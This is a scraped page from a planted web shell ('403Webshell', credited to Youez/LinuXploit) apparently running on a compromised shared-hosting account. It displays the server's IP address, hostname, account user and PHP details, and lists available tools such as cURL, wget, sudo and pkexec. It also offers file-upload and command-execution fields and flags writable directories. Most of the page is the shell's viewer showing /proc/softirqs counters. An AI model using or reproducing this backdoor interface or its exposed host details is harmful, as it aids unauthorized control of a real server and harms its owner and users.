403Webshell
Server IP : 162.144.4.212  /  Your IP : 216.73.216.122
Web Server : Apache
System : Linux gator2125.hostgator.com 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64
User : cozeellc ( 2980)
PHP Version : 8.3.30
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : ON |  Sudo : ON |  Pkexec : ON
Directory :  /proc/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /proc/softirqs
                    CPU0       CPU1       CPU2       CPU3       CPU4       CPU5       CPU6       CPU7       CPU8       CPU9       CPU10      CPU11      CPU12      CPU13      CPU14      CPU15      CPU16      CPU17      CPU18      CPU19      CPU20      CPU21      CPU22      CPU23      
          HI:          0          0          0          0          0          0          0          0          0         65          0          0          0          0          0          0          0          0          0          0          0          0          0          0
       TIMER: 1806322947 1806274200 1806217762 1806101162 1803587259 1803377866 1802863353 1802101138 1800231063 1800470988 1800488037 1799153239 1802516549 1799478692 1800675428 1798788575 1794708250 1794744338 1797912956 1796171887 1794002535 1795510179 1796649624 2777506496
      NET_TX:     423802     277539     220265     190117     173503     158940     149574     145930     139082     137585     135558     133123     130650     131080     130394     129299     129850     129663     129250     128339     129241     128822     131190   94156984
      NET_RX:   28630098   28346049   28403295   28099194   28138691   28033881   27927303   27973866   27833239   27904582   27818348   27886530   27711013   27881044   27841452   27923787   27910701   27923136   28014555   27885551   28065423   28028327   28613942 1238273730
       BLOCK:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0
    IRQ_POLL:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0
     TASKLET:     368408     353722     350146     343706     344896     341420     340030     341732     337566     340880     341134     338204     338536     337345     337606     338967     336745     340560     341083     339251     340909     339388     343919    2866652
       SCHED:  232327485  190383136  171095885  160197854  154015630  150142817  147683649  146059787  144735823  143890087  143530473  143137994  142576812  142527616  142289142  142307606  141956922  142037467  142197976  142049328  142142317  141934863  143040921  150265439
     HRTIMER:         94        117         82         60         85         65         77         87         66         68        111         92         70        110         57         78        104         90         34         62         73         53         86     451870
         RCU: 1961550199 1954089532 1955391152 1971285665 1955417902 1950716737 1948412456 1949591445 1948061274 1947682224 1949738376 1946003013 1948104962 1948663461 1947416638 1948936087 1947095396 1947311315 1949472279 1949193924 1952188204 1948013724 1956802251 2948831382

Youez - 2016 - github.com/yon3zu
LinuXploit